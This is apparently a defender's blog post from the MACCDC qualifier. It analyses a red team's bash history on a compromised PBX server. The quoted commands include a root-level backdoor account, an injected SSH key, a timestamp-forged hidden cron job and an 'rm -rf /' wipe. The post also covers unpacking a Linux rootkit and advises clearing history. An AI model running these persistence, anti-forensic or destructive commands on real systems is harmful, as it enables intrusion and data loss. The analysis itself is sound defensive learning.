“o noes its melting” was one of the last things I saw on my terminal in the final hour on the PBX box in MACCDC qualifiers.

I can’t recall exactly what showed up on my terminal but it was something like:

echo "o noes its melting" | wall && rm -rf /

Then all of my commands stopped working. Every single command stopped working, except for one, “history” and well, the rest is history…

 

1 who
2 ps -ef
3 /etc/init.d/httpd stop
4 ps -ef
5 nano /etc/new
6 nano /etc/crontab
7 nano /etc/new
8 /etc/init.d/crond restart
9 exit
10 useradd -o -u 0 -g 0 mysqld
11 echo -e "r3dt3am\nr3dt3am\n" | passwd mysqld
12 echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDOLN4rECfgWn7MunohWjJtbFQf/V1f8tgAWNFONqJa8z5QkgA/xRRG2+v5TZHwHxquT89VO4EYh3Whv7ot3ffazQqbfgnMuAZuvDNjoxSc7qyCmtHshwpeP2zUsnr4Y+AH87OtsYsnlTOgQyGzh5QsDnDtwSHSkhtSnM58mtGBZqhnAARkeA4Cie3+djrhfGzJ+wRT/FtSdzW8OMauPMHf+3jVgXoHFk605G+47KPqfCFdXVoy9YPrjDVqccKuQ96RBDJcJt1OF0YpMJA9u0NnYglUEbwVXt4LXV7XAbIBocWAqKtA26zmlgO9lCyqOsq44XQ+/dmmSwtNEel3SnaF root@winnt" >> /root/.ssh/authorized_keys
13 ls
14 cd ll
15 cd ..
16 ls
17 cd ec2-user/
18 ls
19 ls
20 cd COPYING
21 ls
22 cat COPYING
23 cd .ssh
24 ls
25 cat authorized_keys
26 cd ..
27 ls
28 cd ..
29 ls -la
30 cd scorebot/
31 ls
32 cd .ssh
33 cd /root/.ssh
34 cd
35 cd /root
36 ls
37 cd /tmp
38 ls
39 cat vmcheck
40 cat dmitest
41 cat xingyiquan/
42 cd xingyiquan/
43 ls
44 less README
45 cd ..
46 ls
47 tar cvzf xingyiquan
48 tar cvzf xingyiquan.tgz xingyiquan/
49 ls
50 ls
51 rm xingyiquan*
52 rm -rf xingyiquan/
53 ls
54 tar xvzg 1rt.tgz
55 tar xvzf 1rt.tgz
56 ls
57 rm 1rt.tgz xingyiquan/
58 rm -rf xingyiquan/
59 ls
60 cd /rot
61 cd /root
62 ls
63 cd .ssh
64 ls
65 cd ..
66 ls
67 ps aux
68 last
69 w
70 nano /root/.mmd
71 chmod +x /root/.mmd
72 touch -r /root/.rnd /root/.mmd /etc/cron.d/cron-apt
73 echo "5 * * * * root /root/.mmd" >> /etc/cron.d/cron-apt
74 ld -lsh
75 ls -lah
76 df
77 df -h
78 iptables -I INPUT -p icmp -j ACCEPT
79 iptables -I OUTPUT -p icmp -j ACCEPt
80 iptables -I OUTPUT -p icmp -j ACCEPT
81 netstat -tupn
82 cd /etc/vsftpd/
83 ls
84 cat user_list
85 cat ftpusers
86 cat vsftpd
87 cat vsftpd.conf
88 nano vsftpd.conf
89 iptables -I INPUT 2 -p tcp --dport 21 =j ACCEPT
90 iptables -I INPUT 2 -p tcp --dport 21 -j ACCEPT
91 iptables -I INPUT 3 -p tcp --dport 20 -j ACCEPT
92 cat /etc/passwd
93 passwd scorebot
94 ps -aux | grep vsftp
95 service vsftpd start
96 ps -aux | grep vsftp
97 cat /etc/passwd
98 cat /etc/shadow
99 passwd admin
100 cat /etc/shadow
101 cat /etc/passwd | grep sql
102 passwd mysqld
103 passwd ec2-user
104 netstat -tupn
105 passwd scorebot
106 netstat -tupn
107 passwd-master
108 passwd-wwwadmin
109 asterisk -r
110 who
111 netstat -tupn
112 iptables -I INSERT -s 173.12.15.68 -j DROP
113 iptables -I INPUT -s 173.12.15.68 -j DROP
114 netstat
115 lastlog
116 who
117 ps -aux | grep ssh
118 ps -aux | grep sshd
119 ls
120 ]lls
121 cd
122 cd /bin/
123 ls
124 su admin
125 su
126 service vsftp start
127 envars
128 /usr/bin/bash
129 /bin/sh
130 /bin/bash
131 path
132 echo $path
133 echo $PATH
134 /usr/local/sbinls
135 /usr/local/sbin ls
136 /root/bin
137 ';sa,c

 

It’s been 1 month since qualifiers but as far as I remember the only line numbers that are mine are: 74 – 137. To be really clear 119 – 137 was grasping at straws, there wasn’t any output, there weren’t files, there weren’t any commands, and the box stopped scoring for the last 40 minutes.

The very last command which would have been #138 was ‘history’ which yielded all the wonderful output above.

Lets step through this 1 chunk at a time and dissect it from the attackers point of view.

1 who
2 ps -ef
3 /etc/init.d/httpd stop
4 ps -ef

#Seeing who is currently logged in the box and what processes are running. Stopping my httpd service and checking to make sure its stopped or if there’s anything else that needs to be killed

5 nano /etc/new
6 nano /etc/crontab
7 nano /etc/new
8 /etc/init.d/crond restart
9 exit

#Creating a new file ‘new’ (we won’t see whats in it because the input is going to nano not bash). Editing the crontab. Restarting the cron daemon to use the new edits to the cron table.

10 useradd -o -u 0 -g 0 mysqld
11 echo -e "r3dt3am\nr3dt3am\n" | passwd mysqld
12 echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDOLN4rECfgWn7MunohWjJtbFQf/V1f8tgAWNFONqJa8z5QkgA/xRRG2+v5TZHwHxquT89VO4EYh3Whv7ot3ffazQqbfgnMuAZuvDNjoxSc7qyCmtHshwpeP2zUsnr4Y+AH87OtsYsnlTOgQyGzh5QsDnDtwSHSkhtSnM58mtGBZqhnAARkeA4Cie3+djrhfGzJ+wRT/FtSdzW8OMauPMHf+3jVgXoHFk605G+47KPqfCFdXVoy9YPrjDVqccKuQ96RBDJcJt1OF0YpMJA9u0NnYglUEbwVXt4LXV7XAbIBocWAqKtA26zmlgO9lCyqOsq44XQ+/dmmSwtNEel3SnaF root@winnt" >> /root/.ssh/authorized_keys

#Creating a new user ‘mysqld’ with the password ‘r3dt3am’ using a non-unique UserID=”0″ & GroupID=”0″ trying to blend in with other system accounts. Adding your public key to root’s authorized key’s file so if the blue team changes the password you can still login without password authentication. #PersistenceIsABitch


13
|
|
|
38


#Looking around the users directories and checking their authorized_keys files.

39 cat vmcheck
40 cat dmitest

#I actually don’t know what these files contain, obviously they tell if a system is a VM or not(right?) but I don’t know what’s in the files.


41 cat xingyiquan/
42 cd xingyiquan/
43 ls
44 less README
45 cd ..
46 ls
47 tar cvzf xingyiquan
48 tar cvzf xingyiquan.tgz xingyiquan/
49 ls
50 ls
51 rm xingyiquan*
52 rm -rf xingyiquan/
53 ls
54 tar xvzg 1rt.tgz
55 tar xvzf 1rt.tgz
56 ls
57 rm 1rt.tgz xingyiquan/
58 rm -rf xingyiquan/


#I first thought this was some random character/name generated file/script. On a whim I googled it and found out what it really is: Xingyiquan Linux 2.6.x / 3.x Rootkit. I have yet to figure out what 1rt.tgz is. Despite this being an actual Rootkit I don’t see it being executed or compiled, only unpacked and then eventually removed.


59
|
|
69


#changing and listing directories

70 nano /root/.mmd
71 chmod +x /root/.mmd
72 touch -r /root/.rnd /root/.mmd /etc/cron.d/cron-apt
73 echo "5 * * * * root /root/.mmd" >> /etc/cron.d/cron-apt

#Create the hidden file .mmd, fill it with bash script, make it executable, make its time stamp and the time stamp for /etc/cron.d/cron-apt the same as /root/.rnd so they don’t stand-out too much. Add a cron job to execute /root/.mmd every hour on the 5th minute. eg. 2:05, 3:05, 4:05


74
|
#through
|
118


#74 – 118 are my commands. There are 2 things to know here. This was in the last hour of qualifiers. Why am I changing passwords and adding iptables this late in the game? The PBX box was shutdown. We had to get a restart and when they restart your boxes it goes back to defaults. Yay!

At the 119 mark is when I saw: "echo "o noes its melting" | wall && rm -rf /" on my terminal and then it stopped responding to commands. As you can see in 119 – 137 I am trying a bunch of different commands and nothing is giving me any output. Some teammates also tried commands without any success. A simple ‘ls’ yielded no output. ‘cd /bin/’ nope, nothing.

A couple of questions are still unanswered:

How did the red team get in, in the first place?

What did they do with the rootkit if it wasn’t installed?

What was actually in the crontab? .mmd? 1rt.tgz?

After the qualifiers that night I spent sometime googleing and found I wasn’t the only person who had this happen to them:

I also started googleing: “xingyiquan” and found:

https://sw0rdm4n.wordpress.com/2014/11/03/xingyiquan-simple-linux-kernel-rootkit-for-kernel-3-x-and-kernel-2-6-x/

http://packetstormsecurity.com/files/128945/Xingyiquan-Linux-2.6.x-3.x-Rootkit.html

https://mobile.twitter.com/Sw0rdm4n/status/530411559080583168

http://www.ringlayer.net/

So I started investigating the rootkit, I wanted to know more. I found the rootkit at one of the many links above. It has a pretty good README file in it which pretty much says it all. This rootkit is new, released in November 2014. It is very customizable from bind shell, to reverse shell. You can set passwords on it. netfilter hooks trigger the reverse shell on a configurable port. I encourage everyone to play around with this on a VM, Ubuntu or CentOS is fine. The only way you’ll know what to look for is to try it yourself.

Rootkithunter did not find it in my tests on a VM. Did you have different results?

What did you find on your malware hunting adventure? Please share and lets learn from each other.

Do any red teamers want to own up to this or fill-in the gaps?

What I learned from this:

I didn’t know you could add a user and set a password like that. I see how it works and why it works but I never thought of doing it that way.

10 useradd -o -u 0 -g 0 mysqld
11 echo -e "r3dt3am\nr3dt3am\n" | passwd mysqld

I learned about Xingyiquan rootkit, how to install it and use it, which now shows me what to look for.

I also learned to check all users crontab more frequently.

I almost forgot the most obvious thing here in this article: clear your bash history. If you can read it so can someone else.

history -c